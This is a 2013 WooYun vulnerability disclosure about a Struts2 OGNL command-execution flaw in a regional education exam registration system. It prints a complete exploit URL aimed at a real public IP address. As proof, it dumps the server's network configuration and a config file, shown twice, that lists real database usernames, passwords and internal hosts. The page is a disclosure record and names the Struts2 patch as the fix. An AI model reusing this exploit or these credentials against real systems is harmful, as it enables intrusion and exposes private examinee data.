当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033415

漏洞标题:某省某系统侧漏(涉及全省个人隐私信息)

相关厂商:某省某单位

漏洞作者: 曹操

提交时间:2013-08-03 23:07

修复时间:2013-09-17 23:07

公开时间:2013-09-17 23:07

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-03: 细节已通知厂商并且等待厂商处理中
2013-08-06: 厂商已经确认,细节仅向厂商公开
2013-08-16: 细节向核心白帽子及相关领域专家公开
2013-08-26: 细节向普通白帽子公开
2013-09-05: 细节向实习白帽子公开
2013-09-17: 细节向公众公开

简要描述:

由于漏洞相对容易查找,故没有写明标题,请管理人员避免标题侧漏!
同时求雷劈

详细说明:

侧漏点:宁夏教育考试系统,涉及全自治区教育考试等信息
http://61.133.219.10/exam/adult/Regist.do?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
发现漏洞马上提交,数据我没有动

漏洞证明:

宁夏考试—2.PNG


1.png


以太网适配器 本地连接 3:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::b079:b036:6599:d5e6%15
IPv4 地址 . . . . . . . . . . . . : 172.16.1.101
子网掩码 . . . . . . . . . . . . : 255.255.255.255
默认网关. . . . . . . . . . . . . :
以太网适配器 本地连接 2:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::893b:df7a:4ae:1e46%10
IPv4 地址 . . . . . . . . . . . . : 192.168.111.8
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.111.254
#数据库地址
db.source=192.168.31.11:1521
#管理库sid
db.admin=nxksy01
#管理库用户名
db.admin.user=dev
#管理库密码
db.admin.pwd=x89b11b23_xcr
#普高库sid
db.common=nxksy01
#普高库用户名
db.common.user=dev_common
#普高库密码
db.common.pwd=x89b11b23_xcr
#成考库sid
db.adult=nxksy01
#成考库用户名
db.adult.user=dev_adult
#成考库密码
db.adult.pwd=yxn6306@xqq
#网上办公sid
db.oa=nxksy01
#网上办公库用户名
db.oa.user=dev_oa
#网上办公库密码
db.oa.pwd=yxn6306@xqq
#会考库sid
db.senior=nxksy01
#会考库用户名
db.senior.user=dev_senior
#会考库密码
db.senior.pwd=yxn6306@xqq
#自考库sid
db.self=nxksy01
#自考库用户名
db.self.user=dev_self
#自考库密码
db.self.pwd=yxn6306@xqq
#专升本sid
db.zsb=nxksy01
#专升本用户名
db.zsb.user=dev_zsb
#专升本密码
db.zsb.pwd=yxn6306@xqq
#cache服务器
cache.servers=192.168.111.1:6011,192.168.111.1:6012,192.168.111.1:6013,192.168.111.1:6014,192.168.111.2:6011,192.168.111.2:6012,192.168.111.2:6013,192.168.111.2:6014,192.168.111.3:6011,192.168.111.3:6012,192.168.111.3:6013,192.168.111.3:6014
#是否上报
common.report=false
#是否使用ssl
system.ssl=false
#是否进行系统测试
system.test=false
#文件服务器地址
file.server=192.168.111.1:6101
#学校代码长度
schoolcode.length=4
classcode.length=4
#服务名称
senior.service.name=seniorExam
#自考考生段报考treeId
self.student.exam.tree.id=1054
#数据库地址
db.source=192.168.31.11:1521
#管理库sid
db.admin=nxksy01
#管理库用户名
db.admin.user=dev_senior_admin
#管理库密码
db.admin.pwd=yxn6306@xqq
#普高库sid
db.common=nxksy01
#普高库用户名
db.common.user=dev_common
#普高库密码
db.common.pwd=x89b11b23_xcr
#成考库sid
db.adult=nxksy01
#成考库用户名
db.adult.user=dev_adult
#成考库密码
db.adult.pwd=yxn6306@xqq
#网上办公sid
db.oa=nxksy01
#网上办公库用户名
db.oa.user=dev_oa
#网上办公库密码
db.oa.pwd=yxn6306@xqq
#会考库sid
db.senior=nxksy01
#会考库用户名
db.senior.user=dev_senior
#会考库密码
db.senior.pwd=yxn6306@xqq
#自考库sid
db.self=nxksy01
#自考库用户名
db.self.user=dev_self
#自考库密码
db.self.pwd=yxn6306@xqq
#专升本sid
db.zsb=nxksy01
#专升本用户名
db.zsb.user=dev_zsb
#专升本密码
db.zsb.pwd=yxn6306@xqq
#cache服务器
cache.servers=192.168.111.1:6011,192.168.111.1:6012,192.168.111.1:6013,192.168.111.1:6014,192.168.111.2:6011,192.168.111.2:6012,192.168.111.2:6013,192.168.111.2:6014,192.168.111.3:6011,192.168.111.3:6012,192.168.111.3:6013,192.168.111.3:6014
#是否上报
common.report=false
#是否使用ssl
system.ssl=false
#是否进行系统测试
system.test=false
#文件服务器地址
file.server=192.168.111.1:6101
#学校代码长度
schoolcode.length=4
classcode.length=4
#服务名称
senior.service.name=seniorExam
#自考考生段报考treeId
self.student.exam.tree.id=1054

修复方案:

最新struts2补丁

版权声明:转载请注明来源 曹操@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-08-06 22:47

厂商回复:

最新状态:

暂无


漏洞评价:

评论